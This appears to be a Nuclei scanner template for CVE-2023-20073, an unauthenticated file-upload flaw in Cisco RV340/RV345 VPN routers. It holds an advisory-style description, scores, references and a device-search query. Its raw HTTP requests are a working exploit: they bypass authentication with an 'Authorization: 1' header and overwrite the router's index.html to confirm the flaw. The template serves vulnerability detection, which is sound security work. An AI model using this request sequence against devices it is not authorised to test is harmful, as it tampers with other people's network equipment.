83 lines
3.1 KiB
YAML
83 lines
3.1 KiB
YAML
id: CVE-2023-20073
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info:
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name: Cisco VPN Routers - Unauthenticated Arbitrary File Upload
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author: princechaddha,ritikchaddha
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severity: critical
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description: |
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A vulnerability in the web-based management interface of Cisco RV340, RV340W, RV345, and RV345P Dual WAN Gigabit VPN Routers could allow an unauthenticated, remote attacker to upload arbitrary files to an affected device. This vulnerability is due to insufficient authorization enforcement mechanisms in the context of file uploads. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to upload arbitrary files to the affected device.
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remediation: |
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Apply the latest security patches provided by Cisco to mitigate this vulnerability.
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reference:
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- https://unsafe.sh/go-173464.html
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- https://gist.github.com/win3zz/076742a4e365b1bba7e2ba0ebea9253f
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- https://github.com/RegularITCat/CVE-2023-20073/tree/main
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- https://nvd.nist.gov/vuln/detail/CVE-2023-20073
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- https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-rv-afu-EXxwA65V
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-20073
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cwe-id: CWE-434
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epss-score: 0.52411
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epss-percentile: 0.9724
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cpe: cpe:2.3:o:cisco:rv340_firmware:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 3
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vendor: cisco
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product: rv340_firmware
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fofa-query: app="CISCO-RV340" || app="CISCO-RV340W" || app="CISCO-RV345" || app="CISCO-RV345P"
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tags: cve,cve2023,xss,fileupload,cisco,unauth,routers,vpn,intrusive
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variables:
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html_comment: "<!-- {{randstr}} -->" # Random string as HTML comment to append in response body
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http:
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- raw:
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- |
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GET /index.html HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /api/operations/ciscosb-file:form-file-upload HTTP/1.1
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Host: {{Hostname}}
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Authorization: 1
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Content-Type: multipart/form-data; boundary=------------------------f6f99e26f3a45adf
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--------------------------f6f99e26f3a45adf
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Content-Disposition: form-data; name="pathparam"
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Portal
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--------------------------f6f99e26f3a45adf
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Content-Disposition: form-data; name="fileparam"
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index.html
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--------------------------f6f99e26f3a45adf
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Content-Disposition: form-data; name="file.path"
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index.html
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--------------------------f6f99e26f3a45adf
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Content-Disposition: form-data; name="file"; filename="index.html"
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Content-Type: application/octet-stream
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{{index}}
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{{html_comment}}
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--------------------------f6f99e26f3a45adf--
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- |
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GET /index.html HTTP/1.1
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Host: {{Hostname}}
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extractors:
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- type: dsl
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name: index
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internal: true
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dsl:
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- body_1
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matchers:
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- type: word
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part: body_3
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words:
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- "{{html_comment}}"
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# digest: 4a0a0047304502205895289574dbea911e66ae1ce85c0604a82813bc15a91606601f85b2b38079cc022100b2a40117d2f7781ea347acfd0020cfe707b84aa521bc01ad3791c91279b599d3:922c64590222798bb761d5b6d8e72950
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